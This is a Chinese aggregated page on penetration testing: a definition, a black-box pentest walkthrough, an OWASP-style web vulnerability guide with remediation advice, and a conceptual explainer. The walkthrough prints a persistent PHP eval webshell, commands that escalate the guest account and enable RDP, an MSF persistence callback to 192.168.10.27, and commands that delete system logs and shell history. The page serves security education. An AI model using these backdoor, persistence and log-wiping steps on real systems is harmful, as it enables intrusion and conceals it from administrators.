渗透测试 订阅
渗透测试,是为了证明网络防御按照预期计划正常运行而提供的一种机制。不妨假设,你的公司定期更新安全策略和程序,时时给系统打补丁,并采用了漏洞扫描器等工具,以确保所有补丁都已打上。如果你早已做到了这些,为什么还要请外方进行审查或渗透测试呢?因为,渗透测试能够独立地检查你的网络策略,换句话说,就是给你的系统安了一双眼睛。而且,进行这类测试的,都是寻找网络系统安全漏洞的专业人士。 展开全文
渗透测试,是为了证明网络防御按照预期计划正常运行而提供的一种机制。不妨假设,你的公司定期更新安全策略和程序,时时给系统打补丁,并采用了漏洞扫描器等工具,以确保所有补丁都已打上。如果你早已做到了这些,为什么还要请外方进行审查或渗透测试呢?因为,渗透测试能够独立地检查你的网络策略,换句话说,就是给你的系统安了一双眼睛。而且,进行这类测试的,都是寻找网络系统安全漏洞的专业人士。
信息
特    点
一个渐进的并且逐步深入的过程
作    用
是通过模拟恶意黑客的攻击方法
方    法
通过使用两套扫描器进行安全评估
中文名
渗透测试
功    能
是一种机制
外文名
penetration test
渗透测试渗透测试
渗透测试 (penetration test)并没有一个标准的定义,国外一些安全组织达成共识的通用说法是:渗透测试是通过模拟恶意黑客的攻击方法,来评估计算机网络系统安全的一种评估方法。这个过程包括对系统的任何弱点、技术缺陷或漏洞的主动分析,这个分析是从一个攻击者可能存在的位置来进行的,并且从这个位置有条件主动利用安全漏洞。换句话来说,渗透测试是指渗透人员在不同的位置(比如从内网、从外网等位置)利用各种手段对某个特定网络进行测试,以期发现和挖掘系统中存在的漏洞,然后输出渗透测试报告,并提交给网络所有者。网络所有者根据渗透人员提供的渗透测试报告,可以清晰知晓系统中存在的安全隐患和问题。我们认为渗透测试还具有的两个显著特点是:渗透测试是一个渐进的并且逐步深入的过程。渗透测试是选择不影响业务系统正常运行的攻击方法进行的测试。作为网络安全防范的一种新技术,对于网络安全组织具有实际应用价值。但要找到一家合适的公司实施渗透测试并不容易。
收起全文
精华内容
参与话题
问答
  • 一次完整的渗透测试流程

    万次阅读 多人点赞 2018-12-01 19:13:56
    渗透测试 信息收集 漏洞探测 漏洞利用 内网转发 内网渗透 痕迹清除 撰写渗透测试保告 渗透测试 渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后...

    目录

    渗透测试

    信息收集

    漏洞探测

    漏洞利用

    内网转发

    内网渗透

    痕迹清除

    撰写渗透测试保告


    渗透测试

    渗透测试就是利用我们所掌握的渗透知识,对网站进行一步一步的渗透,发现其中存在的漏洞和隐藏的风险,然后撰写一篇测试报告,提供给我们的客户。客户根据我们撰写的测试报告,对网站进行漏洞修补,以防止黑客的入侵!

    渗透测试的前提是我们得经过用户的授权,才可以对网站进行渗透。如果我们没有经过客户的授权而对一个网站进行渗透测试的话,这是违法的。去年的6.1日我国颁布了《网络安全法》,对网络犯罪有了法律约束,不懂的移步——> 网络安全法

    渗透测试分为 白盒测试黑盒测试

    • 白盒测试就是在知道目标网站源码和其他一些信息的情况下对其进行渗透,有点类似于代码分析
    • 黑盒测试就是只告诉我们这个网站的url,其他什么都不告诉,然后让你去渗透,模拟黑客对网站的渗透

    我们现在就模拟黑客对一个网站进行渗透测试,这属于黑盒测试,我们只知道该网站的URL,其他什么的信息都不知道。

    接下来,我就给大家分享下黑盒渗透测试的流程和思路!

    当我们确定好了一个目标进行渗透之后,第一步该做的是什么呢?

    信息收集

    第一步做的就是信息收集,正所谓知己知彼百战百胜,我们根据网站URL可以查出一系列关于该网站的信息。通过URL我们可以查到该网站的IP、该网站操作系统、脚本语言、在该服务器上是否还有其他网站等等一些列的信息。更多的关于信息收集,我在另一篇文章中很详细的介绍了信息收集需要收集哪些信息,以及信息收集过程中需要用到的工具,传送门——> 渗透测试之信息收集

    漏洞探测

    当我们收集到了足够多的信息之后,我们就要开始对网站进行漏洞探测了。探测网站是否存在一些常见的Web漏洞,比如:

    这些是网站经常发现的一些漏洞,还有一些网站漏洞,这里我就不一一列举出来了。

    网站漏洞扫描工具也有很多,比如:

    网站漏洞扫描工具我就列举这几种,还有很多,最常用的是这几个!

    漏洞利用

    当我们探测到了该网站存在漏洞之后,我们就要对该漏洞进行利用了。不同的漏洞有不同的利用工具,很多时候,通过一个漏洞我们很难拿到网站的webshell,我们往往需要结合几个漏洞来拿webshell。常用的漏洞利用工具如下:

    SQL注入 , 传送门——> Sqlmap的使用

    XSS跨站脚本,传送门——> Beef-XSS的使用

    抓包改包工具,——> Burpsuite工具的使用  、  Fidder抓包软件的使用

    文件上传漏洞,上传漏洞的话,我们一般会上传一句话木马上去,进而再获得webshell,传送门——> Webshell和一句话木马

    但是,获得了webshell后,一般权限很低,所以我们需要提权,可以选择反弹一个MSF类型的shell提权:Metasploit Framework(MSF)的使用  、 Msfvenonm生成一个后门木马,也可以反弹一个CobaltStrike类型的shell:渗透测试神器Cobalt Strike的使用, 也可以MSF和CobaltStrike联动:MSF和CobaltStrike联动 也可以使用其他提权:Windows提权 、 Linux提权

    内网转发

    当我们获取到了网站的Webshell之后,如果我们想获取该主机的有关信息,我们可以将该主机的webshell换成MSF的shell。直接生成一个木马,然后在菜刀中执行该木马,我们就能接收到一个MSF类型的shell了。

    如果我们还想进一步的探测内网主机的信息的话,我们就需要进行内网转发了。我们是不能直接和内网的主机通信的,所以我们就需要借助获取到的webshell网站的服务器和内网主机进行通信。

    内网横向渗透

    当我们在获取了外网服务器的权限,进入该系统后,我们要想尽办法从该服务器上查找到我们想要的信息。

    对于windows主机,我们应该多去翻翻目录,或许能有很多意想不到的结果。很多人习惯把账号密码等容易忘的东西存放在备忘录中,或者是桌面上。我们还可以查找数据库的连接文件,查看数据库的连接账号密码等敏感信息。当我们获得了windows主机的账号密码,或者是自己创建了新用户后,我们为了不被网站管理员发现和不破坏服务器。我们尽量不要使用远程桌面。因为使用远程桌面动静比较大,如果此时服务器管理员也在登录,而你此时通过远程桌面登录的话,会将管理员挤掉,而你也将很快的被管理员踢掉。对于实在是要远程桌面登录的情况的话,我们尽量不要新建一个用户进行登录。我们可以激活  guest 用户,然后将其加入 administrators 组里面,用 guest 用户身份登录。在RDP远程登录后,我们可以查看其他用户桌面上和其他目录有哪些软件,我们要找的目标有以下。

    • FTP相关的软件
    • 数据库相关的软件
    • 打开浏览器,查看历史记录,查看某些网站是否保存有用户密码。利用工具查看浏览器保存的密码

    从该主机上找到的账号密码,我们可以做一个字典,在对内网其他机器进行爆破的时候,很有可能是同密码。

    net user  guest  /active:yes                      #激活guest用户
    net localgroup  administrators  guest  /add       #将guest用户添加到
    net user guest    密码                            #更改guest用户密码
    REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f                          #开启3389端口

    对于Linux主机,我们可以查看开放的端口号,开放的服务,与其建立连接的内网主机。查看目录,查找网站数据库连接密码。总之,就是尽可能的多查找一些账号密码,这对于内网的账号爆破非常有用。

    在搭建了隧道可以通内网后,我们首先就需要对内网进行资产发现了。但是对于内网存活网段的判断是一个大问题。内网很有可能同时存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 网段。这就需要我们用扫描器对其进行探测了。通过代理进行内网扫描不建议使用nmap。如果是在本地主机通过代理扫描,可以图形化界面的话,可以使用 RouterScan 、御剑高速TCP全端口扫描器、IIS_Scanner。但是注意线程调低一点,不然代理很容易崩了。如果使用命令行扫描器的话,可以使用S扫描器。在扫描了内网资产和端口开放情况后,对于445端口,就可以打一波MS17_010。但是注意通过代理打445,和之前的是不一样的。传送门——> 内网渗透之MS17-010 。对于3389端口,可以打一波CVE-2019-0708,传送门——> CVE-2019-0708 远程桌面漏洞复现 。对于1433/3306/6379等端口,可以尝试爆破,利用之前收集到的账号密码成功率更高哦。

    关于内网渗透(域环境和非域环境):内网渗透

    内网的横向渗透MSF比较好用:

    内网渗透的ICMP和DNS隧道搭建:

    相关文章:内网渗透测试之域渗透详解!

                      内网渗透中mimikatz的使用

    权限维持

    在拿到目标主机的权限后,很有可能当时我们并不能获取到想要的东西,需要进行长期的潜伏,特别是在内网渗透中,需要进行长期的信息收集。这时,权限维持就很重要了。我们需要维持住获得的现有权限。

    Web后门

    1:隐藏后门文件(将文件设置为隐藏)

    2:不死马,该脚本每5秒向服务器创建test.php,并写入一句话免杀木马。结合attrib命令隐藏文件更好地建立后门。

    <?php
        set_time_limit(0);//程序执行时间
        ignore_user_abort(1);//关掉终端后脚本仍然运行
        unlink(__FILE__);//文件完整名
        while(1){
            file_put_contents('test.php','<?php $a=array($_REQUEST["x"]=>"3");
            $b=array_keys($a)[0];
            eval($b);?>');
            sleep(5);
        }
    ?>

    3: 404页面隐藏后门,或者在其他自带文件中插入后门代码

    注:以上几种后门方法均能被D盾等工具检测到

    Windows系统

    1:建立隐藏用户,在用户名后加 $ 

    2:在开机启动目录下放置木马文件,只要目标机器重启,将回连我们的远控

    3:MSF里的 persistence 模块,执行命令可以使目标机器每隔一定时间自动回连远控。但是容易被发现

    #反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀
    run persistence -X -i 5 -p 8888 -r 192.168.10.27  
     
    #然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动

    4:在域环境下,想办法获得 krbtgt 用户的哈希,该用户的哈希可以进行票据传递攻击。而且一般该用户的密码不经常改变。

    5:shift后门

    6:远程桌面会话劫持 

    Linux系统

    1:SSH后门

    2:crontab定时任务

    3:SSH公钥

    4:创建SUID=0的用户

    痕迹清除

    当我们达到了目的之后,有时候只是为了黑入网站挂黑页,炫耀一下;或者在网站留下一个后门,作为肉鸡,没事的时候上去溜达溜达;亦或者挂入挖矿木马;但是大家千万不要干这些事,这些都是违法的!

    我这里只是教大家在渗透进去之后如何清除我们留下的一部分痕迹,并不能完全清除,完全清除入侵痕迹是不可能的!主要是增加管理员发现入侵者的时间成本和人力成本。只要管理员想查,无论你怎么清除,还是能查到的。

    最主要还是要以隐藏自身身份为主,最好的手段是在渗透前挂上代理,然后在渗透后痕迹清除。

    Windows系统

    1:如果是windows系统,可用MSF中的 clearev 命令清除痕迹

    2:如果3389远程登录过,需要清除mstsc痕迹

    3:执行命令清除日志:

    del %WINDR%\* .log /a/s/q/f

    4:如果是web应用,找到web日志文件,删除 

    相关文章:WINDOWS之入侵痕迹清理总结

    Linux系统

    1:如果是Linux系统,在获取权限后,执行以下命令,不会记录输入过的命令

    export HISTFILE=/dev/null export HISTSIZE=0

    2:删除 /var/log 目录下的日志文件

    3:如果是web应用,找到web日志文件,删除 

    撰写渗透测试保告

    在完成了渗透测试之后,我们就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险,防止被黑客攻击!

    我们做的这一切的一切都是为了营造一个更安全更可信任的网络环境,大家切记不要利用本篇文章进行违法犯罪行为!

    未完待续。。。。。。

    相关文章:红蓝对抗经验小结

    展开全文
  • 【安全】Web渗透测试(全流程)

    万次阅读 多人点赞 2019-10-12 09:59:10
    域名信息查询:信息可用于后续渗透 IP信息查询:确认域名对应IP,确认IP是否真实,确认通信是否正常 端口信息查询:NMap扫描,确认开放端口 如果不会用Nmap,看这里:NMAP 基础教程(功能介绍,安装,使用) ...

    1 信息收集

    1.1 域名、IP、端口

    • 域名信息查询:信息可用于后续渗透

    • IP信息查询:确认域名对应IP,确认IP是否真实,确认通信是否正常

    • 端口信息查询:NMap扫描,确认开放端口

    如果不会用Nmap,看这里:NMAP 基础教程(功能介绍,安装,使用)

    发现:一共开放两个端口,80为web访问端口,3389为windows远程登陆端口,嘿嘿嘿,试一下

    发现:是Windows Server 2003系统,OK,到此为止。

    1.2 指纹识别

    指纹?其实就是网站的信息。比如通过可以访问的资源,如网站首页,查看源代码:

    • 看看是否存在文件遍历的漏洞(如图片路径,再通过../遍历文件)
    • 是否使用了存在漏洞的框架(如果没有现成的就自己挖)

    2 漏洞扫描

    2.1 主机扫描

    • Nessus

    如果不会用Nessus,看这里:【工具-Nessus】Nessus的安装与使用

    经典主机漏扫工具,看看有没有CVE漏洞:

    2.2 Web扫描

    • AWVS(Acunetix | Website Security Scanner)扫描器

    如果不会用AWVS,看这里:【工具-AWVS】AWVS安装与使用

    PS:扫描器可能会对网站构成伤害,小心谨慎使用。

    3 渗透测试

    涉及工具的学习:

    DVWA:【工具-BurpSuite】BurpSuite专业版 安装和使用

    Burp Suite:【工具-DVWA】DVWA的安装和使用

    3.1 弱口令漏洞

    • 漏洞描述

    目标网站管理入口(或数据库等组件的外部连接)使用了容易被猜测的简单字符口令、或者是默认系统账号口令。

    • 渗透测试
    1. 如果不存在验证码,则直接使用相对应的弱口令字典使用burpsuite 进行爆破
    2. 如果存在验证码,则看验证码是否存在绕过、以及看验证码是否容易识别

    示例:DVWA渗透系列一:Brute ForceDVWA渗透系列六:Insecure CAPTCHA

    • 风险评级:高风险
    • 安全建议
    1. 默认口令以及修改口令都应保证复杂度,比如:大小写字母与数字或特殊字符的组合,口令长度不小于8位等
    2. 定期检查和更换网站管理口令

    3.2 文件下载(目录浏览)漏洞

    • 漏洞描述

    一些网站由于业务需求,可能提供文件查看或下载的功能,如果对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意的文件,可以是源代码文件、敏感文件等。

    • 渗透测试
    1. 查找可能存在文件包含的漏洞点,比如js,css等页面代码路径
    2. 看看有没有文件上传访问的功能
    3. 采用../来测试能否夸目录访问文件

    示例:DVWA渗透系列四:File Inclusion

    • 风险评级:高风险
    • 安全建议
    1. 采用白名单机制限制服务器目录的访问,以及可以访问的文件类型(小心被绕过)
    2. 过滤【./】等特殊字符
    3. 采用文件流的访问返回上传文件(如用户头像),不要通过真实的网站路径。

    示例:tomcat,默认关闭路径浏览的功能:

    <param-name>listings</param-name>
    <param-value>false</param-value>

    3.3 任意文件上传漏洞

    • 漏洞描述

    目标网站允许用户向网站直接上传文件,但未对所上传文件的类型和内容进行严格的过滤。

    • 渗透测试
    1. 收集网站信息,判断使用的语言(PHP,ASP,JSP)
    2. 过滤规则绕过方法:文件上传绕过技巧
    • 风险评级:高风险
    • 安全建议
    1. 对上传文件做有效文件类型判断,采用白名单控制的方法,开放只允许上传的文件型式;
    2. 文件类型判断,应对上传文件的后缀、文件头、图片类的预览图等做检测来判断文件类型,同时注意重命名(Md5加密)上传文件的文件名避免攻击者利用WEB服务的缺陷构造畸形文件名实现攻击目的;
    3. 禁止上传目录有执行权限;
    4. 使用随机数改写文件名和文件路径,使得用户不能轻易访问自己上传的文件。

    3.4 命令注入漏洞

    • 漏洞描述

    目标网站未对用户输入的字符进行特殊字符过滤或合法性校验,允许用户输入特殊语句,导致各种调用系统命令的web应用,会被攻击者通过命令拼接、绕过黑名单等方式,在服务端运行恶意的系统命令。

    • 渗透测试

    示例:DVWA渗透系列二:Command Injection

    • 风险评级:高风险
    • 安全建议
    1. 拒绝使用拼接语句的方式进行参数传递;
    2. 尽量使用白名单的方式(首选方式);
    3. 过滤危险方法、特殊字符,如:【|】【&】【;】【'】【"】等

    3.5 SQL注入漏洞

    • 漏洞描述

    目标网站未对用户输入的字符进行特殊字符过滤或合法性校验,允许用户输入特殊语句查询后台数据库相关信息

    • 渗透测试
    1. 手动测试,判断是否存在SQL注入,判断是字符型还是数字型,是否需要盲注
    2. 工具测试,使用sqlmap等工具进行辅助测试

    示例:DVWA渗透系列七:SQL InjectionDVWA渗透系列八:SQL Injection(Blind)

    • 风险评级:高风险
    • 安全建议
    1. 防范SQL注入攻击的最佳方式就是将查询的逻辑与其数据分隔,如Java的预处理,PHP的PDO
    2. 拒绝使用拼接SQL的方式

    3.6 跨站脚本漏洞

    • 漏洞描述

    当应用程序的网页中包含不受信任的、未经恰当验证或转义的数据时,或者使用可以创建 HTML或JavaScript 的浏览器 API 更新现有的网页时,就会出现 XSS 缺陷。XSS 让攻击者能够在受害者的浏览器中执行脚本,并劫持用户会话、破坏网站或将用户重定向到恶意站点。

    三种XSS漏洞:

    1. 存储型:用户输入的信息被持久化,并能够在页面显示的功能,都可能存在存储型XSS,例如用户留言、个人信息修改等。
    2. 反射型:URL参数需要在页面显示的功能都可能存在反射型跨站脚本攻击,例如站内搜索、查询功能。
    3. DOM型:涉及DOM对象的页面程序,包括:document.URL、document.location、document.referrer、window.location等
    • 渗透测试

    示例:

    1. 存储型:DVWA渗透系列十二:XSS(Stored)
    2. 反射型:DVWA渗透系列十一:XSS(Reflect)
    3. DOM型:DVWA渗透系列十:XSS(DOM)
    • 风险评级:高风险
    • 安全建议
    1. 不信任用户提交的任何内容,对用户输入的内容,在后台都需要进行长度检查,并且对【<】【>】【"】【'】【&】等字符做过滤
    2. 任何内容返回到页面显示之前都必须加以html编码,即将【<】【>】【"】【'】【&】进行转义。

    3.7 跨站请求伪造漏洞

    • 漏洞描述

    CSRF,全称为Cross-Site Request Forgery,跨站请求伪造,是一种网络攻击方式,它可以在用户毫不知情的情况下,以用户的名义伪造请求发送给被攻击站点,从而在未授权的情况下进行权限保护内的操作,如修改密码,转账等。

    • 渗透测试

    示例:DVWA渗透系列三:CSRF

    • 风险评级:中风险(如果相关业务极其重要,则为高风险)
    • 安全建议
    1. 使用一次性令牌:用户登录后产生随机token并赋值给页面中的某个Hidden标签,提交表单时候,同时提交这个Hidden标签并验证,验证后重新产生新的token,并赋值给hidden标签;
    2. 适当场景添加验证码输入:每次的用户提交都需要用户在表单中填写一个图片上的随机字符串;
    3. 请求头Referer效验,url请求是否前部匹配Http(s)://ServerHost
    4. 关键信息输入确认提交信息的用户身份是否合法,比如修改密码一定要提供原密码输入
    5. 用户自身可以通过在浏览其它站点前登出站点或者在浏览器会话结束后清理浏览器的cookie;

    3.8 内部后台地址暴露

    • 漏洞描述

    一些仅被内部访问的地址,对外部暴露了,如:管理员登陆页面;系统监控页面;API接口描述页面等,这些会导致信息泄露,后台登陆等地址还可能被爆破。

    • 渗透测试
    1. 通过常用的地址进行探测,如login.html,manager.html,api.html等;
    2. 可以借用burpsuite和常规页面地址字典,进行扫描探测
    • 风险评级:中风险
    • 安全建议
    1. 禁止外网访问后台地址;
    2. 使用非常规路径(如对md5加密)。

    3.9 信息泄露漏洞

    • 漏洞描述
    1. 备份信息泄露:目标网站未及时删除编辑器或者人员在编辑文件时,产生的临时文件,或者相关备份信息未及时删除导致信息泄露。
    2. 测试页面信息泄露:测试界面未及时删除,导致测试界面暴露,被他人访问。
    3. 源码信息泄露:目标网站文件访问控制设置不当,WEB服务器开启源码下载功能,允许用户访问网站源码。
    4. 错误信息泄露:目标网站WEB程序和服务器未屏蔽错误信息回显,页面含有CGI处理错误的代码级别的详细信息,例如SQL语句执行错误原因,PHP的错误行数等。
    5. 接口信息泄露:目标网站接口访问控制不严,导致网站内部敏感信息泄露。
    • 渗透测试
    1. 备份信息泄露、测试页面信息泄露、源码信息泄露,测试方法:使用字典,爆破相关目录,看是否存在相关敏感文件

    2. 错误信息泄露,测试方法:发送畸形的数据报文、非正常的报文进行探测,看是否对错误参数处理妥当。

    3. 接口信息泄露漏洞,测试方法:使用爬虫或者扫描器爬取获取接口相关信息,看目标网站对接口权限是否合理

    • 风险评级:一般为中风险,如果源码大量泄漏或大量客户敏感信息泄露。
    • 安全建议
    1. 备份信息泄露漏洞:删除相关备份信息,做好权限控制
    2. 测试页面信息泄露漏洞:删除相关测试界面,做好权限控制
    3. 源码信息泄露漏洞:做好权限控制
    4. 错误信息泄露漏洞:将错误信息对用户透明化,在CGI处理错误后可以返回友好的提示语以及返回码。但是不可以提示用户出错的代码级别的详细原因
    5. 接口信息泄露漏洞:对接口访问权限严格控制

    3.10 失效的身份认证

    • 漏洞描述

    通常,通过错误使用应用程序的身份认证和会话管理功能,攻击者能够破译密码、密钥或会话令牌, 或者利用其它开发缺陷来暂时性或永久性冒充其他用户的身份。

    • 渗透测试
    1. 在登陆前后观察,前端提交信息中,随机变化的数据,总有与当前已登陆用户进行绑定的会话唯一标识,常见如cookie
    2. 一般现在网站没有那种简单可破解的标识,但是如果是跨站认证,单点登录场景中,可能为了开发方便而简化了身份认证

    示例:DVWA渗透系列九:Weak Session IDs

    • 风险评级:高风险
    • 安全建议
    1. 使用强身份识别,不使用简单弱加密方式进行身份识别;
    2. 服务器端使用安全的会话管理器,在登录后生成高度复杂的新随机会话ID。会话ID不能在URL中,可以安全地存储,在登出、闲置超时后使其失效。

    3.11 失效的访问控制

    • 漏洞描述

    未对通过身份验证的用户实施恰当的访问控制。攻击者可以利用这些缺陷访问未经授权的功能或数据,例如:访问其他用户的帐户、查看敏感文件、修改其他用户的数据、更改访问权限等。

    • 渗透测试
    1. 登入后,通过burpsuite 抓取相关url 链接,获取到url 链接之后,在另一个浏览器打开相关链接,看能够通过另一个未登入的浏览器直接访问该功能点。
    2. 使用A用户登陆,然后在另一个浏览器使用B用户登陆,使用B访问A独有的功能,看能否访问。
    • 风险评级:高风险
    • 安全建议
    1. 除公有资源外,默认情况下拒绝访问非本人所有的私有资源;
    2. 对API和控制器的访问进行速率限制,以最大限度地降低自动化攻击工具的危害;
    3. 当用户注销后,服务器上的Cookie,JWT等令牌应失效;
    4. 对每一个业务请求,都进行权限校验。

    3.12 安全配置错误

    • 漏洞描述

    应用程序缺少适当的安全加固,或者云服务的权限配置错误。

    1. 应用程序启用或安装了不必要的功能(例如:不必要的端口、服务、网页、帐户或权限)。
    2. 默认帐户的密码仍然可用且没有更改。
    3. 错误处理机制向用户披露堆栈跟踪或其他大量错误信息。
    4. 对于更新的系统,禁用或不安全地配置最新的安全功能。
    5. 应用程序服务器、应用程序框架(如:Struts、Spring、ASP.NET)、库文件、数据库等没有进行相关安全配置。
    • 渗透测试
    1. 先对应用指纹等进行信息搜集,然后针对搜集的信息,看相关应用默认配置是否有更改,是否有加固过;端口开放情况,是否开放了多余的端口;
    • 风险评级:中风险
    • 安全建议

    搭建最小化平台,该平台不包含任何不必要的功能、组件、文档和示例。移除或不安装不适用的功能和框架。 在所有环境中按照标准的加固流程进行正确安全配置。

    3.13 使用含有已知漏洞的组件

    • 漏洞描述

    使用了不再支持或者过时的组件。这包括:OS、Web服务器、应用程序服务器、数据库管理系统(DBMS)、应用程序、API和所有的组件、运行环境和库。

    • 渗透测试
    1. 根据前期信息搜集的信息,查看相关组件的版本,看是否使用了不在支持或者过时的组件。一般来说,信息搜集,可通过http返回头、相关错误信息、应用指纹、端口探测(Nmap)等手段搜集。
    2. Nmap等工具也可以用于获取操作系统版本信息
    3. 通过CVE,CNVD等平台可以获取当前组件版本是否存在漏洞
    • 风险评级:按照存在漏洞的组件的安全风险值判定当前风险。
    • 安全建议
    1. 移除不使用的依赖、不需要的功能、组件、文件和文档;
    2. 仅从官方渠道安全的获取组件(尽量保证是最新版本),并使用签名机制来降低组件被篡改或加入恶意漏洞的风险;
    3. 监控那些不再维护或者不发布安全补丁的库和组件。如果不能打补丁,可以考虑部署虚拟补丁来监控、检测或保护。

    3.14 业务逻辑漏洞

    见:Web应用常见业务逻辑漏洞

     

     

     


    爱家人,爱生活,爱设计,爱编程,拥抱精彩人生!

    展开全文
  • web渗透测试基础入门

    2020-03-30 11:41:09
    专注培养高薪网络安全人才,帮助大家了解并学习网络安全,传授黑白帽实战技能,带领零基础小白正式... 一个有实战经验的老师,带你一步一步从基础入门,让你清晰的了解渗透测试的过程和方法,讲解各方面的知识点和经验。
  • 最全渗透测试工具讲解

    千人学习 2018-08-31 08:44:31
    渗透测试工具详解视频教程,该课程分为三个部分,1、针对web扫描工具介绍,2、针对抓包工具介绍,3、针对信息探测介绍。(没章节都会将该章节介绍的工具共享给大家)这三部分基本涵盖了渗透测试中百分之80常见工具的...
  • (解读)什么是渗透测试(Penetration Testing)?   渗透测试(Penetration Testing),也称为Pen Testing,是测试计算机系统、网络或Web应用程序以发现攻击者可能利用的安全漏洞的实践。渗透测试可以通过软件...

    (解读)什么是渗透测试(Penetration Testing)?

     

    渗透测试(Penetration Testing),也称为Pen Testing,是测试计算机系统、网络或Web应用程序以发现攻击者可能利用的安全漏洞的实践。渗透测试可以通过软件应用自动化或手动执行。无论哪种方式,该过程都包括在测试之前收集关于目标的信息,识别可能的入口点,试图闯入(虚拟的或真实的)并报告结果。 

    让我们看看WIKI上的英文解释(翻译后)

    渗透测试是对计算机系统的授权模拟攻击,用于评估系统的安全性。执行测试以识别两个缺点(也称为漏洞),包括未授权方访问系统的特征和数据的可能性,以及优点,使得能够完成完整的风险评估。该过程通常识别目标系统和特定目标,然后审查可用信息,并采取各种手段来实现该目标。渗透测试目标可以是白盒(提供背景和系统信息)或黑盒(只提供基本信息或除了公司名称不提供任何信息)。灰盒穿透测试是二者的结合(其中目标有限的知识与审计人员共享)。渗透测试可以帮助确定一个系统是否容易受到攻击,如果防御足够,以及测试是否打败了哪些防御(如果有的话)。渗透测试发现的安全问题应该报告给系统所有者。渗透测试报告也可以评估对组织的潜在影响,并提出降低风险的对策。

    美国国家网络安全中心(National Cyber Security Center)将渗透测试描述如下:“一种方法,通过试图破坏某个IT系统的部分或全部安全性,使用与对手相同的工具和技术,来获得对该IT系统的安全性的保证。”

    渗透测试的目标根据针对任何给定参与的已批准活动的类型而有所不同,其中主要目标是发现可被邪恶行为者利用的漏洞,并将这些漏洞与建议的缓解策略一起通知客户。 渗透测试是全面安全审计的一个组成部分。例如,支付卡行业数据安全标准要求在定期日程表和系统更改之后进行渗透测试。缺陷假设方法是一种系统分析和渗透预测技术,其中通过对系统的规范和文档的分析来编译软件系统中的假设缺陷列表。然后,根据所估计的缺陷实际存在的概率,以及在控制或折衷的范围内易于利用该漏洞,对假设缺陷列表进行优先级排序。优先级列表用于指导系统的实际测试。 

    为什么需要渗透测试?

    从渗透测试的定义描述可以看出其目的。例如:Web应用程序渗透测试是通过在内部或外部模拟未经授权的攻击来访问敏感数据的。网络渗透帮助终端用户发现黑客从因特网访问数据的可能性,发现他们的电子邮件服务器的安全性,并且也了解网站托管站点和服务器的安全程度。当我们谈论安全时,我们听到的最常见的词是漏洞。当我刚开始做安全测试的时候,我经常对这个词感到困惑,我相信你们中的很多人会陷入同样的困境。

    什么是漏洞(Vulnerability)?

    可以这样简单的解释,漏洞是用于识别系统中可能使系统暴露于安全威胁的缺陷的术语。

    漏洞扫描和渗透测试有什么区别?

     

    漏洞扫描允许用户发现应用程序中的已知弱点,并定义修复和提高应用程序整体安全性的方法。它基本上查明是否安装了安全补丁,系统是否正确地配置为使攻击变得困难。而渗透测试主要模拟实时系统,帮助用户了解系统是否可以被未经授权的用户访问,如果是,那么会造成什么损害,以及哪些数据等。因此,漏洞扫描是一种侦测控制方法,它提出了改进安全程序和确保已知缺陷不重新出现的方法,而渗透测试是一种预防控制方法,它给出了系统现有安全层的总体视图。虽然,这两种方法都有其重要性,但它将取决于作为测试的一部分真正期望的内容。作为测试人员,在我们开始测试之前,必须明确测试的目的。如果您清楚目标,那么您可以很好地定义是否需要进行漏洞扫描或渗透测试。

    实施渗透测试的重要性如下:

    • 渗透测试有助于识别未知的漏洞。
    • 帮助检查总体安全政策的有效性。
    • 帮助测试公开的组件,如防火墙、路由器和DNS
    • 让用户找出最易受攻击的路线 
    • 帮助发现可能导致敏感数据被盗的漏洞。

    如果你看看当前的市场需求,手机使用量已经急剧增加,这正成为攻击的主要潜在因素。通过手机访问网站容易受到更频繁的攻击,从而破坏数据。渗透测试因此变得非常重要,以确保我们建立一个安全的系统,用户可以使用,没有任何担心黑客或数据丢失。

    WEB系统渗透测试方法

    该方法只是一组关于应该如何进行测试的安全行业指南。有一些建立良好且著名的方法和标准可以用于测试,但是由于每个Web应用程序需要执行不同类型的测试,所以测试人员可以通过参考市场上可用的标准来创建他们自己的方法。

    一些安全性测试方法论和标准如下:

    • OWASP (Open Web Application Security Project)
    • OSSTMM (Open Source Security Testing Methodology Manual)
    • PTF (Penetration Testing Framework)
    • ISSAF (Information Systems Security Assessment Framework)
    • PCI DSS (Payment Card Industry Data Security Standard)

    下面列出了一些可以作为Web应用程序渗透测试(WAPT)的一部分进行测试的测试场景:

    1. 跨站点脚本(CSS,Cross Site Scripting)
    2. SQL注入(SQL Injection)
    3. 破损的认证和会话管理 (Broken authentication and session management)
    4. 文件上载缺陷 (File Upload flaws)
    5. 缓存服务器攻击 (Caching Servers Attacks)
    6. 安全错误配置(Security Misconfigurations)
    7. 跨站点请求伪造(Cross Site Request Forgery)
    8. 密码破解(Password Cracking)

    尽管我已经提到了该列表,但是测试人员不应该盲目地创建基于上述传统标准的测试方法。       

    这里有一个例子来证明我为什么这么说。假设您被要求深入测试一个电子商务网站,现在考虑一下是否可以使用传统的OWASP方法(如XSSSQL注入等)来识别电子商务网站的所有漏洞。答案是否定的,因为与其他网站相比,电子商务工作在非常不同的平台和技术上。为了使您的渗透测试电子商务网站有效,测试人员应该设计一种方法,包括缺陷如订单管理,优惠券和奖励管理,支付网关集成和内容管理系统集成。因此,在决定方法之前,要非常确定要测试哪种类型的网站,以及哪种方法将有助于找到最大的漏洞。       

    WEB渗透性测试类型

    Web应用程序可以通过两种方式进行渗透测试。可以设计测试来模拟内部或外部攻击。 

    #1)内部渗透测试

    顾名思义,内部笔测试是在组织内部通过内部网络(例如:内部局域网)来完成的,因此它包括测试在内部网上托管的Web应用程序。这有助于发现企业防火墙内是否存在漏洞。我们总是相信攻击只能在外部发生,而且很多时候内部渗透测试被忽略或者没有得到重视。基本上,它包括不满的雇员或承包商的恶意雇员攻击,这些雇员或承包商可能已经辞职,但知道内部安全策略和密码,钓鱼攻击的模拟,以及使用用户特权或误用解锁终端的攻击。

    #2)外部渗透性测试

